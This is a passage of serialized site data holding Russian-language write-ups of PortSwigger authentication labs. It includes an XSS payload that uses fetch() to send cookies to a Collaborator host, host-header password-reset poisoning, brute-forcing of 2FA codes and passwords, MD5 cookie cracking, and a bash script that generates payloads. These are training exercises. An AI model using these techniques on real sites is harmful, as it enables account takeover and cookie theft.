эксплойт-сервера:",[41,11144,11147],{"className":11145,"code":11146,"language":46},[44],"exploit-0a1a00a804fbe14180d3d4d001e100bf.exploit-server.net\n",[48,11148,11146],{"__ignoreMap":50},[21,11150,11151],{},"Оба запроса прошли — 200. Посмотрим письма:",[748,11153,11154,11157],{},[333,11155,11156],{},"Первое — со ссылкой на адрес уязвимого сайта",[333,11158,11159],{},"Второе — ссылка на адрес нашего эксплойт-сервера",[21,11161,11162,11163,11165,11166,3226,11169,11171],{},"Ок, теперь для отправки письма пользователю ",[48,11164,10765],{}," заменим поле ",[48,11167,11168],{},"username",[48,11170,10765],{}," и отправим запрос. Идём смотреть логи доступа.",[21,11173,11174],{},"Вот и запрос от жертвы:",[41,11176,11179],{"className":11177,"code":11178,"language":46},[44],"\u002Fforgot-password?temp-forgot-password-token=3lc3xbctomlakufr3oftagyorpysgvwo\n",[48,11180,11178],{"__ignoreMap":50},[21,11182,11183],{},"Переходим по ссылке, задаём любой пароль.\nДалее логинимся.",[21,11185,96],{},{"title":50,"searchDepth":98,"depth":98,"links":11187},[11188,11189],{"id":18,"depth":98,"text":19},{"id":33,"depth":98,"text":34,"children":11190},[11191,11192,11193],{"id":38,"depth":104,"text":39},{"id":10323,"depth":104,"text":10324},{"id":682,"depth":104,"text":683},"2026-05-26","Подменяем заголовок Host на адрес эксплойт-сервера, чтобы ссылка для сброса пароля Carlos указывала на нас, и поднимаем токен из access-логов.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fbasic-password-reset-poisoning",{"title":11096,"description":11195},"notes\u002Fpentesting\u002Fportswigger\u002Fbasic-password-reset-poisoning",[117,11201,121],"authentication","50m","ZtXUa1hTvPAyGhpEclPlIjy5jrBcW5OHTQzBlxCmsfQ",{"id":11205,"title":11206,"author":6,"body":11207,"date":11194,"description":11518,"difficulty":257,"extension":109,"image":110,"inProgress":110,"logged":110,"marathonStartDate":110,"meta":11519,"navigation":112,"notes":110,"path":11520,"psTitle":11221,"seo":11521,"stem":11522,"tags":11523,"timeSpent":265,"type":123,"__hash__":11524},"content_ru\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Foffline-password-cracking.md","Офлайн-взлом пароля (PortSwigger Lab)",{"type":8,"value":11208,"toc":11510},[11209,11213,11215,11222,11224,11226,11232,11234,11241,11243,11250,11253,11265,11268,11377,11383,11390,11395,11401,11408,11411,11420,11423,11429,11459,11462,11468,11477,11483,11489,11492,11502,11505,11507],[11,11210,11212],{"id":11211},"офлайн-взлом-пароля","Офлайн-взлом пароля",[16,11214,19],{"id":18},[21,11216,11217,144],{},[24,11218,11221],{"href":11219,"rel":11220},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Fauthentication\u002Fother-mechanisms\u002Flab-offline-password-cracking",[28],"Offline password cracking",[16,11223,34],{"id":33},[36,11225,39],{"id":38},[41,11227,11230],{"className":11228,"code":11229,"language":46},[44],"This lab stores the user's password hash in a cookie. The lab also contains an XSS vulnerability in the comment functionality. To solve the lab, obtain Carlos's stay-logged-in cookie and use it to crack his password. Then, log in as carlos and delete his account from the \"My account\" page.\n\nYour credentials: wiener:peter\nVictim's username: carlos\n",[48,11231,11229],{"__ignoreMap":50},[36,11233,10324],{"id":10323},[21,11235,11236,11237,11240],{},"Хэш пароля пользователя хранится в куки. С помощью XSS на странице комментов нужно похитить ",[48,11238,11239],{},"stay-logged-in"," куку и далее подобрать пароль.",[36,11242,683],{"id":682},[21,11244,11245,11246,11249],{},"Залогинимся под пользователем ",[48,11247,11248],{},"wiener"," и поставим галочку «Запомнить меня».",[21,11251,11252],{},"Далее идём в первую статью и смотрим комменты.\nЗакидываем в поля нагрузки — в поле текста комментария и в поле имени:",[748,11254,11255,11260],{},[333,11256,11257],{},[48,11258,11259],{},"\u003C>'\"COZ1-COMMENT",[333,11261,11262],{},[48,11263,11264],{},"\u003C>'\"COZ1-NAME",[21,11266,11267],{},"Комментарий отправлен. Нажимаем «Вернуться».\nСмотрим ответ от сервера:",[41,11269,11271],{"className":2047,"code":11270,"language":2049,"meta":50,"style":50},"\u003Csection class=\"comment\">\n    \u003Cp>\n        \u003Cimg src=\"\u002Fresources\u002Fimages\u002FavatarDefault.svg\" class=\"avatar\">                            &lt;&gt;&apos;&quot;COZ1-NAME | 26 May 2026\n    \u003C\u002Fp>\n    \u003Cp>\u003C>'\"COZ1-COMMENT\u003C\u002Fp>\n    \u003Cp>\u003C\u002Fp>\n\u003C\u002Fsection>\n",[48,11272,11273,11290,11299,11329,11338,11356,11368],{"__ignoreMap":50},[308,11274,11275,11277,11280,11283,11285,11288],{"class":310,"line":311},[308,11276,2056],{"class":911},[308,11278,11279],{"class":2059},"section",[308,11281,11282],{"class":667}," class",[308,11284,2066],{"class":911},[308,11286,11287],{"class":671},"\"comment\"",[308,11289,2077],{"class":911},[308,11291,11292,11295,11297],{"class":310,"line":98},[308,11293,11294],{"class":911},"    \u003C",[308,11296,21],{"class":2059},[308,11298,2077],{"class":911},[308,11300,11301,11304,11306,11308,11310,11313,11315,11317,11320,11323,11326],{"class":310,"line":104},[308,11302,11303],{"class":911},"        \u003C",[308,11305,693],{"class":2059},[308,11307,2063],{"class":667},[308,11309,2066],{"class":911},[308,11311,11312],{"class":671},"\"\u002Fresources\u002Fimages\u002FavatarDefault.svg\"",[308,11314,11282],{"class":667},[308,11316,2066],{"class":911},[308,11318,11319],{"class":671},"\"avatar\"",[308,11321,11322],{"class":911},">                            ",[308,11324,11325],{"class":678},"&lt;&gt;&apos;&quot;",[308,11327,11328],{"class":911},"COZ1-NAME | 26 May 2026\n",[308,11330,11331,11334,11336],{"class":310,"line":1327},[308,11332,11333],{"class":911},"    \u003C\u002F",[308,11335,21],{"class":2059},[308,11337,2077],{"class":911},[308,11339,11340,11342,11344,11346,11349,11352,11354],{"class":310,"line":1336},[308,11341,11294],{"class":911},[308,11343,21],{"class":2059},[308,11345,2127],{"class":911},[308,11347,2056],{"class":11348},"s7hpK",[308,11350,11351],{"class":911},">'\"COZ1-COMMENT\u003C\u002F",[308,11353,21],{"class":2059},[308,11355,2077],{"class":911},[308,11357,11358,11360,11362,11364,11366],{"class":310,"line":1349},[308,11359,11294],{"class":911},[308,11361,21],{"class":2059},[308,11363,2072],{"class":911},[308,11365,21],{"class":2059},[308,11367,2077],{"class":911},[308,11369,11370,11373,11375],{"class":310,"line":1360},[308,11371,11372],{"class":911},"\u003C\u002F",[308,11374,11279],{"class":2059},[308,11376,2077],{"class":911},[21,11378,11379,11380,426],{},"Получается, что поле текста комментария уязвимо к XSS, а поле имени — нет, там происходит экскейпинг ",[48,11381,11382],{},"\u003C>'\"",[21,11384,11385,11386,11389],{},"Попробуем закинуть тогда ",[48,11387,11388],{},"\u003Cscript>alert(25)\u003C\u002Fscript>",".\nРаботает!",[21,11391,11392,11393,215],{},"Теперь посмотрим, как выглядит кука ",[48,11394,11239],{},[41,11396,11399],{"className":11397,"code":11398,"language":46},[44],"Set-Cookie: stay-logged-in=d2llbmVyOjUxZGMzMGRkYzQ3M2Q0M2E2MDExZTllYmJhNmNhNzcw; Expires=Wed, 01 Jan 3000 01:00:00 UTC\nSet-Cookie: session=HYIyqq9WyhVgW2EBggmvYrFeFKNPkjHL; Secure; HttpOnly; SameSite=None\n",[48,11400,11398],{"__ignoreMap":50},[21,11402,11403,11404,11407],{},"Хорошо, нет ",[48,11405,11406],{},"HttpOnly"," — можно её похитить.\nЧто потом с ней делать — решим, может, просто сделать поиск по этому потенциальному хэшу, о таком писали в доке PortSwigger.",[21,11409,11410],{},"Как концептуально будет выглядеть нагрузка?",[330,11412,11413],{},[333,11414,11415,11416,11419],{},"Берём ",[48,11417,11418],{},"document.cookie"," и отправляем себе на сервер.",[21,11421,11422],{},"Возьмём URL в Burp Collaborator:",[41,11424,11427],{"className":11425,"code":11426,"language":46},[44],"awanmq3hu6caaaar36tu220suj0ao0cp.oastify.com\n",[48,11428,11426],{"__ignoreMap":50},[41,11430,11432],{"className":2047,"code":11431,"language":2049,"meta":50,"style":50},"\u003Cscript>fetch('https:\u002F\u002Fawanmq3hu6caaaar36tu220suj0ao0cp.oastify.com\u002F?c='+document.cookie)\u003C\u002Fscript>\n",[48,11433,11434],{"__ignoreMap":50},[308,11435,11436,11438,11440,11442,11444,11446,11449,11452,11455,11457],{"class":310,"line":311},[308,11437,2056],{"class":911},[308,11439,2124],{"class":2059},[308,11441,2127],{"class":911},[308,11443,2130],{"class":667},[308,11445,917],{"class":911},[308,11447,11448],{"class":671},"'https:\u002F\u002Fawanmq3hu6caaaar36tu220suj0ao0cp.oastify.com\u002F?c='",[308,11450,11451],{"class":1619},"+",[308,11453,11454],{"class":911},"document.cookie)\u003C\u002F",[308,11456,2124],{"class":2059},[308,11458,2077],{"class":911},[21,11460,11461],{},"Окей, получили куки жертвы:",[41,11463,11466],{"className":11464,"code":11465,"language":46},[44],"GET \u002F?c=secret=kMMSNa1CtoViZvGFdfkRGhrEmcaTkSLU;%20stay-logged-in=Y2FybG9zOjI2MzIzYzE2ZDVmNGRhYmZmM2JiMTM2ZjI0NjBhOTQz\n",[48,11467,11465],{"__ignoreMap":50},[21,11469,11470,11471,11473,11474,426],{},"Выделяем в Burp Suite значение ",[48,11472,11239],{},".\nПолучаем ",[48,11475,11476],{},"Y2FybG9zOjI2MzIzYzE2ZDVmNGRhYmZmM2JiMTM2ZjI0NjBhOTQz",[41,11478,11481],{"className":11479,"code":11480,"language":46},[44],"carlos:26323c16d5f4dabff3bb136f2460a943\n",[48,11482,11480],{"__ignoreMap":50},[21,11484,11485,11486,426],{},"Похоже, это MD5 хэш, как в предыдущей лабе.\nПопробуем найти пароль для MD5 хэша ",[48,11487,11488],{},"26323c16d5f4dabff3bb136f2460a943",[21,11490,11491],{},"Атака по словарю получается. Или какая-то база хэшей.",[21,11493,11494,11498,11499,426],{},[24,11495,11496],{"href":11496,"rel":11497},"https:\u002F\u002Fmd5.gromweb.com\u002F?md5=26323c16d5f4dabff3bb136f2460a943",[28],"\nВот такой ресурс есть полезный.\nПароль — ",[48,11500,11501],{},"onceuponatime",[21,11503,11504],{},"Заходим под пользователем и удаляем акк.",[21,11506,96],{},[357,11508,11509],{},"html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .s7hpK, html code.shiki .s7hpK{--shiki-default:#B31D28;--shiki-default-font-style:italic;--shiki-dark:#FDAEB7;--shiki-dark-font-style:italic}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}",{"title":50,"searchDepth":98,"depth":98,"links":11511},[11512,11513],{"id":18,"depth":98,"text":19},{"id":33,"depth":98,"text":34,"children":11514},[11515,11516,11517],{"id":38,"depth":104,"text":39},{"id":10323,"depth":104,"text":10324},{"id":682,"depth":104,"text":683},"Через XSS в комментариях угоняем stay-logged-in куку Carlos, декодируем base64, ищем MD5 пароля в онлайн-радужной таблице и удаляем аккаунт.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Foffline-password-cracking",{"title":11206,"description":11518},"notes\u002Fpentesting\u002Fportswigger\u002Foffline-password-cracking",[117,11201,121],"5dcm8Ah_EkjB5WdP5tkdYtXsfjTNliMvos-QVJNLmmE",{"id":11526,"title":11527,"author":6,"body":11528,"date":11194,"description":11591,"difficulty":257,"extension":109,"image":110,"inProgress":110,"logged":110,"marathonStartDate":110,"meta":11592,"navigation":112,"notes":110,"path":11593,"psTitle":11542,"seo":11594,"stem":11595,"tags":11596,"timeSpent":11597,"type":123,"__hash__":11598},"content_ru\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fpassword-brute-force-via-password-change.md","Брутфорс пароля через смену пароля (PortSwigger Lab)",{"type":8,"value":11529,"toc":11587},[11530,11534,11536,11543,11545,11548,11555,11558,11561,11564,11567,11573,11579,11585],[11,11531,11533],{"id":11532},"брутфорс-пароля-через-смену-пароля","Брутфорс пароля через смену пароля",[16,11535,19],{"id":18},[21,11537,11538,144],{},[24,11539,11542],{"href":11540,"rel":11541},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Fauthentication\u002Fother-mechanisms\u002Flab-password-brute-force-via-password-change",[28],"Password brute-force via password change",[16,11544,34],{"id":33},[21,11546,11547],{},"Уже устал писать отчёт :)",[21,11549,11550,11551,11554],{},"В общем, тут всё несложно.\nЕсть роут ",[48,11552,11553],{},"POST \u002Fmy-account\u002Fchange-password",".\nУ него нет защиты от брутфорса, и мы можем заменить имя пользователя.",[21,11556,11557],{},"Есть нюанс: если указать новый пароль и его повтор одинаковыми, и если текущий пароль задан неверно, — сервер будет отвечать редиректом.",[21,11559,11560],{},"Если же будут не совпадать пароли, то тогда возвращён код 200.\nИ если совпадёт — тоже 200, но длина ответа будет отличаться.",[21,11562,11563],{},"Организуем атаку в Intruder.\nИспользуем предоставленный словарь паролей.",[21,11565,11566],{},"В теле:",[41,11568,11571],{"className":11569,"code":11570,"language":46},[44],"username=carlos&current-password={pwd}&new-password-1=123&new-password-2=321\n",[48,11572,11570],{"__ignoreMap":50},[21,11574,11575,11576,11578],{},"Тут в ",[48,11577,10829],{}," будет подставлен пароль из словаря.\nЗапускаем атаку, отсортируем по длине ответа.",[21,11580,11581,11582,426],{},"Пароль — ",[48,11583,11584],{},"ginger",[21,11586,96],{},{"title":50,"searchDepth":98,"depth":98,"links":11588},[11589,11590],{"id":18,"depth":98,"text":19},{"id":33,"depth":98,"text":34},"Брутфорсим current-password в роуте смены пароля: разные new-password-1 и new-password-2 дают 200, совпадение — отличается длиной ответа.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fpassword-brute-force-via-password-change",{"title":11527,"description":11591},"notes\u002Fpentesting\u002Fportswigger\u002Fpassword-brute-force-via-password-change",[117,11201,121],"55m","2UmFk0eLlMbkzENyCt4xv67zviPYz_sGo7uS_GGrI2w",{"id":11600,"title":11601,"author":6,"body":11602,"date":11194,"description":11696,"difficulty":257,"extension":109,"image":110,"inProgress":110,"logged":110,"marathonStartDate":110,"meta":11697,"navigation":112,"notes":110,"path":11698,"psTitle":11616,"seo":11699,"stem":11700,"tags":11701,"timeSpent":374,"type":123,"__hash__":11702},"content_ru\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fpassword-reset-poisoning-via-middleware.md","Отравление сброса пароля через middleware (PortSwigger Lab)",{"type":8,"value":11603,"toc":11688},[11604,11608,11610,11617,11619,11621,11627,11629,11642,11648,11650,11659,11665,11671,11677,11683,11686],[11,11605,11607],{"id":11606},"отравление-сброса-пароля-через-middleware","Отравление сброса пароля через middleware",[16,11609,19],{"id":18},[21,11611,11612,144],{},[24,11613,11616],{"href":11614,"rel":11615},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Fauthentication\u002Fother-mechanisms\u002Flab-password-reset-poisoning-via-middleware",[28],"Password reset poisoning via middleware",[16,11618,34],{"id":33},[36,11620,39],{"id":38},[41,11622,11625],{"className":11623,"code":11624,"language":46},[44],"This lab is vulnerable to password reset poisoning. The user `carlos` will carelessly click on any links in emails that he receives. To solve the lab, log in to Carlos's account. You can log in to your own account using the following credentials: `wiener:peter`. Any emails sent to this account can be read via the email client on the exploit server.\n",[48,11626,11624],{"__ignoreMap":50},[36,11628,10324],{"id":10323},[21,11630,11631,11632,11635,11636,11638,11639,11641],{},"Судя по названию, аналогично предыдущей лабе, только нужно использовать технику использования заголовков ",[48,11633,11634],{},"X-*"," для переопределения заголовка ",[48,11637,2240],{},". В первую очередь обычно проверяют ",[48,11640,2236],{},", а ещё можно:",[41,11643,11646],{"className":11644,"code":11645,"language":46},[44],"X-Host\nX-Forwarded-Server\nX-HTTP-Host-Override\nForwarded\n",[48,11647,11645],{"__ignoreMap":50},[36,11649,683],{"id":682},[21,11651,11652,11653,11655,11656,426],{},"Посмотрим функцию сброса пароля.\nОтправим запрос на восстановление для своего пользователя.\nПопробуем сходу переопределить заголовок ",[48,11654,2240],{}," на адрес нашего эксплойт-сервера.\nНикакого ответа, просто ",[48,11657,11658],{},"Stream closed",[21,11660,11661,11662,11664],{},"Ок, попробуем ",[48,11663,2236],{},". Добавим к заголовкам:",[41,11666,11669],{"className":11667,"code":11668,"language":46},[44],"X-Forwarded-Host: exploit-0a20001104ed604d802011ff017700f1.exploit-server.net\n",[48,11670,11668],{"__ignoreMap":50},[21,11672,11673,11674,11676],{},"Работает!\nТеперь в теле запроса поменяем имя на ",[48,11675,10765],{},".\nИдём в логи доступа, видим:",[41,11678,11681],{"className":11679,"code":11680,"language":46},[44],"\u002Fforgot-password?temp-forgot-password-token=j4by8s8k70bbyzg3pj5x6l4d9ymzkl0f\n",[48,11682,11680],{"__ignoreMap":50},[21,11684,11685],{},"Переходим по ссылке, меняем пароль.\nЛогинимся.",[21,11687,96],{},{"title":50,"searchDepth":98,"depth":98,"links":11689},[11690,11691],{"id":18,"depth":98,"text":19},{"id":33,"depth":98,"text":34,"children":11692},[11693,11694,11695],{"id":38,"depth":104,"text":39},{"id":10323,"depth":104,"text":10324},{"id":682,"depth":104,"text":683},"Заголовок X-Forwarded-Host переопределяет Host для генерации ссылки сброса пароля — токен Carlos уходит к нам в access-логи эксплойт-сервера.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fpassword-reset-poisoning-via-middleware",{"title":11601,"description":11696},"notes\u002Fpentesting\u002Fportswigger\u002Fpassword-reset-poisoning-via-middleware",[117,11201,121],"Eg-vhjRUSpzutn0u6iO9uh1e_5NINoX2Kb5BhHIhca0",{"id":11704,"title":11705,"author":6,"body":11706,"date":11865,"description":11866,"difficulty":108,"extension":109,"image":110,"inProgress":110,"logged":110,"marathonStartDate":110,"meta":11867,"navigation":112,"notes":110,"path":11868,"psTitle":11720,"seo":11869,"stem":11870,"tags":11871,"timeSpent":11872,"type":123,"__hash__":11873},"content_ru\u002Fnotes\u002Fpentesting\u002Fportswigger\u002F2fa-broken-logic.md","Сломанная логика 2FA (PortSwigger Lab)",{"type":8,"value":11707,"toc":11857},[11708,11712,11714,11721,11723,11725,11731,11733,11738,11740,11743,11784,11801,11835,11842,11848,11855],[11,11709,11711],{"id":11710},"сломанная-логика-2fa","Сломанная логика 2FA",[16,11713,19],{"id":18},[21,11715,11716,30],{},[24,11717,11720],{"href":11718,"rel":11719},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Fauthentication\u002Fmulti-factor\u002Flab-2fa-broken-logic",[28],"2FA broken logic",[16,11722,34],{"id":33},[36,11724,39],{"id":38},[41,11726,11729],{"className":11727,"code":11728,"language":46},[44],"This lab's two-factor authentication is vulnerable due to its flawed logic. To solve the lab, access Carlos's account page.\n\nYour credentials: wiener:peter\nVictim's username: carlos\nYou also have access to the email server to receive your 2FA verification code.\n",[48,11730,11728],{"__ignoreMap":50},[36,11732,10324],{"id":10323},[21,11734,11735,11736,426],{},"Есть уязвимая логика 2FA на сайте, у нас есть свой аккаунт, где мы можем посмотреть, как работает механизм. Для решения лабы нам нужно получить доступ к странице пользователя ",[48,11737,10765],{},[36,11739,683],{"id":682},[21,11741,11742],{},"Попробуем пройти 2FA-флоу под своим пользователем.",[330,11744,11745,11760],{},[333,11746,11747,11750,11751,215,11754],{},[48,11748,11749],{},"POST \u002Flogin",", в теле имя и пароль. Ответ + редирект на ",[48,11752,11753],{},"\u002Flogin2",[41,11755,11758],{"className":11756,"code":11757,"language":46},[44],"Set-Cookie: verify=wiener; HttpOnly\nSet-Cookie: session=EBdAlyofdB1mRMdQSvTDuKzeWSgj9t64; Secure; HttpOnly; SameSite=None\n",[48,11759,11757],{"__ignoreMap":50},[333,11761,11762,11763,11766,11767,11770,11771,11774,11775,11781,11783],{},"На ",[48,11764,11765],{},"GET \u002Flogin2"," форма ввода кода 2FA. Вводим его из имейла. ",[48,11768,11769],{},"POST \u002Flogin2",", в теле код ",[48,11772,11773],{},"mfa-code=1507",", и передаётся кука:",[41,11776,11779],{"className":11777,"code":11778,"language":46},[44],"Cookie: session=EBdAlyofdB1mRMdQSvTDuKzeWSgj9t64; verify=wiener\n",[48,11780,11778],{"__ignoreMap":50},[647,11782],{},"В ответ 302 — успешный вход.",[21,11785,11786,11787,11790,11791,11793,11794,11797,11798,11800],{},"Интересно, что кука ",[48,11788,11789],{},"verify"," ставится на первом шаге, потом на втором шаге редирект на страницу ввода кода. По сути эта кука указывает серверу, для какого пользователя осуществляется запрос, а мы можем её подменить. Попробовать вызвать ",[48,11792,11765],{}," с ",[48,11795,11796],{},"verify=carlos"," и тем самым вызвать создание 2FA-кода для него. И после чего с помощью вызова ",[48,11799,11769],{}," попробовать осуществить брутфорс-атаку на код, длина всего 4 символа.",[330,11802,11803,11814,11817,11823,11826,11832],{},[333,11804,11805,11806,11808,11809,11811,11812,426],{},"Отправим запрос на генерацию кода ",[48,11807,11765],{}," для ",[48,11810,10765],{},", задав ",[48,11813,11796],{},[333,11815,11816],{},"Получили форму ввода кода, нажмём отправку кода.",[333,11818,11819,11820,11822],{},"Улетел запрос на ",[48,11821,11769],{},", его и закидываем в Intruder.",[333,11824,11825],{},"Выбираем нагрузку «Brute forcer», задаём 4 символа.",[333,11827,11828,11829,426],{},"Добавляем переменную в тело запроса ",[48,11830,11831],{},"mfa-code=§pwd§",[333,11833,11834],{},"Запускаем атаку.",[21,11836,11837,11838,11841],{},"Ищем 302 редирект. Мы получили код — ",[48,11839,11840],{},"0314",". Отправляем запрос:",[41,11843,11846],{"className":11844,"code":11845,"language":46},[44],"POST \u002Flogin2\nCookie: session=MAEXN9XadoWSU7iCsN4RFiE6GEQnk1hs; verify=carlos\n\nmfa-code=0314\n",[48,11847,11845],{"__ignoreMap":50},[21,11849,11850,11851,11854],{},"В ответ 302 и новая кука. Записываем куку ",[48,11852,11853],{},"session",", заменяем у себя в браузере, обновляем страницу.",[21,11856,96],{},{"title":50,"searchDepth":98,"depth":98,"links":11858},[11859,11860],{"id":18,"depth":98,"text":19},{"id":33,"depth":98,"text":34,"children":11861},[11862,11863,11864],{"id":38,"depth":104,"text":39},{"id":10323,"depth":104,"text":10324},{"id":682,"depth":104,"text":683},"2026-05-20","Подменяем cookie verify, чтобы сгенерировать 2FA-код для чужого пользователя, и брутфорсим 4-значный код в Intruder.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger\u002F2fa-broken-logic",{"title":11705,"description":11866},"notes\u002Fpentesting\u002Fportswigger\u002F2fa-broken-logic",[117,11201,121],"1h 20m","WhuuNzjBAADDJ-_cNXRpUTwNmcB4gLOZzEgndZN3TV4",{"id":11875,"title":11876,"author":6,"body":11877,"date":11865,"description":12122,"difficulty":257,"extension":109,"image":110,"inProgress":110,"logged":110,"marathonStartDate":110,"meta":12123,"navigation":112,"notes":110,"path":12124,"psTitle":11891,"seo":12125,"stem":12126,"tags":12127,"timeSpent":11872,"type":123,"__hash__":12128},"content_ru\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fbrute-forcing-a-stay-logged-in-cookie.md","Брутфорс stay-logged-in cookie (PortSwigger Lab)",{"type":8,"value":11878,"toc":12114},[11879,11883,11885,11892,11894,11896,11902,11904,11909,11911,11914,11920,11929,11937,11943,11949,11959,11970,11976,11990,11993,12093,12100,12103,12109,12111],[11,11880,11882],{"id":11881},"брутфорс-stay-logged-in-cookie","Брутфорс stay-logged-in cookie",[16,11884,19],{"id":18},[21,11886,11887,144],{},[24,11888,11891],{"href":11889,"rel":11890},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Fauthentication\u002Fother-mechanisms\u002Flab-brute-forcing-a-stay-logged-in-cookie",[28],"Brute-forcing a stay-logged-in cookie",[16,11893,34],{"id":33},[36,11895,39],{"id":38},[41,11897,11900],{"className":11898,"code":11899,"language":46},[44],"This lab allows users to stay logged in even after they close their browser session. The cookie used to provide this functionality is vulnerable to brute-forcing.\n\nTo solve the lab, brute-force Carlos's cookie to gain access to his My account page.\n\nYour credentials: wiener:peter\nVictim's username: carlos\nCandidate passwords\n",[48,11901,11899],{"__ignoreMap":50},[36,11903,10324],{"id":10323},[21,11905,11906,11907,426],{},"На сайте есть механизм «stay logged», кука которого уязвима к брутфорсу. У нас есть аккаунт на сайте, поэтому изучим, как работает механизм, и осуществим брутфорс-атаку для пользователя ",[48,11908,10765],{},[36,11910,683],{"id":682},[21,11912,11913],{},"Заходим на сайт, есть форма входа. Логин и пароль, есть чекбокс «Stay logged in», ставим его. Логинимся, POST-запрос на вход:",[41,11915,11918],{"className":11916,"code":11917,"language":46},[44],"Set-Cookie: stay-logged-in=d2llbmVyOjUxZGMzMGRkYzQ3M2Q0M2E2MDExZTllYmJhNmNhNzcw; Expires=Wed, 01 Jan 3000 01:00:00 UTC\nSet-Cookie: session=XaXGwGwLG5aeRpAyJZfClJJuAMavi7ll; Secure; HttpOnly; SameSite=None\n",[48,11919,11917],{"__ignoreMap":50},[21,11921,11922,11923,11925,11926,426],{},"Мы видим, что кука ",[48,11924,11239],{}," хранится бесконечно долго. А ещё она никак не защищена от доступа из JS. Если выделить значение куки, Inspector по умолчанию показывает декодированную строку в Base64, она выглядит как ",[48,11927,11928],{},"wiener:51dc30ddc473d43a6011e9ebba6ca770",[21,11930,11931,11932,1092,11934,426],{},"Очевидно, что первое — это имя пользователя, а вот второе напоминает хэш пароля. Вопрос только от чего, от пароля или что-то ещё. Можем для начала попробовать просто посчитать MD5 от пароля ",[48,11933,11248],{},[48,11935,11936],{},"peter",[21,11938,11939,11940,215],{},"В терминале ",[48,11941,11942],{},"echo -n 'peter' | md5sum",[41,11944,11947],{"className":11945,"code":11946,"language":46},[44],"51dc30ddc473d43a6011e9ebba6ca770\n",[48,11948,11946],{"__ignoreMap":50},[21,11950,11951,11952,11955,11956,11958],{},"Совпадает! То есть мы можем построить брутфорс-атаку по словарю. Мы можем кидать запросы на ",[48,11953,11954],{},"GET \u002Fmy-account?id=carlos",", предварительно сконструировав ",[48,11957,11239],{}," куку.",[21,11960,11961,11962,11964,11965,11967,11968,426],{},"Сперва посмотрим, как ведёт себя этот роут, если мы удалим куку ",[48,11963,11853],{}," и оставим только ",[48,11966,11239],{},". Вернулось 200, и установилась кука ",[48,11969,11853],{},[21,11971,11972,11973,11975],{},"Ок, а теперь без кук совсем — в этом случае возвращает 302 и редиректит на логин. Закидываем запрос в Intruder, удаляем ",[48,11974,11853],{}," куку, ставим переменную в значение куки. Какого вида будет значение?",[330,11977,11978,11981,11987],{},[333,11979,11980],{},"Берём MD5 от пароля-кандидата — нам дали 100 штук.",[333,11982,11983,11984,426],{},"Формируем строку ",[48,11985,11986],{},"carlos:MD5_password",[333,11988,11989],{},"Кодируем полученную строку в Base64.",[21,11991,11992],{},"Напишем bash-скрипт для генерации списка нагрузок:",[41,11994,11996],{"className":658,"code":11995,"language":660,"meta":50,"style":50},"while read -r pass; do\n  hash=$(echo -n \"$pass\" | md5sum | awk '{print $1}')\n  echo -n \"carlos:$hash\" | base64\ndone \u003C passwords.txt > payloads.txt\n",[48,11997,11998,12018,12057,12077],{"__ignoreMap":50},[308,11999,12000,12003,12006,12009,12012,12015],{"class":310,"line":311},[308,12001,12002],{"class":1619},"while",[308,12004,12005],{"class":678}," read",[308,12007,12008],{"class":678}," -r",[308,12010,12011],{"class":671}," pass",[308,12013,12014],{"class":911},"; ",[308,12016,12017],{"class":1619},"do\n",[308,12019,12020,12023,12025,12028,12030,12032,12035,12038,12041,12043,12046,12048,12051,12054],{"class":310,"line":98},[308,12021,12022],{"class":911},"  hash",[308,12024,2066],{"class":1619},[308,12026,12027],{"class":911},"$(",[308,12029,9165],{"class":678},[308,12031,9168],{"class":678},[308,12033,12034],{"class":671}," \"",[308,12036,12037],{"class":911},"$pass",[308,12039,12040],{"class":671},"\"",[308,12042,9174],{"class":1619},[308,12044,12045],{"class":667}," md5sum",[308,12047,9174],{"class":1619},[308,12049,12050],{"class":667}," awk",[308,12052,12053],{"class":671}," '{print $1}'",[308,12055,12056],{"class":911},")\n",[308,12058,12059,12062,12064,12067,12070,12072,12074],{"class":310,"line":104},[308,12060,12061],{"class":678},"  echo",[308,12063,9168],{"class":678},[308,12065,12066],{"class":671}," \"carlos:",[308,12068,12069],{"class":911},"$hash",[308,12071,12040],{"class":671},[308,12073,9174],{"class":1619},[308,12075,12076],{"class":667}," base64\n",[308,12078,12079,12082,12085,12088,12090],{"class":310,"line":1327},[308,12080,12081],{"class":1619},"done",[308,12083,12084],{"class":1619}," \u003C",[308,12086,12087],{"class":911}," passwords.txt ",[308,12089,2127],{"class":1619},[308,12091,12092],{"class":911}," 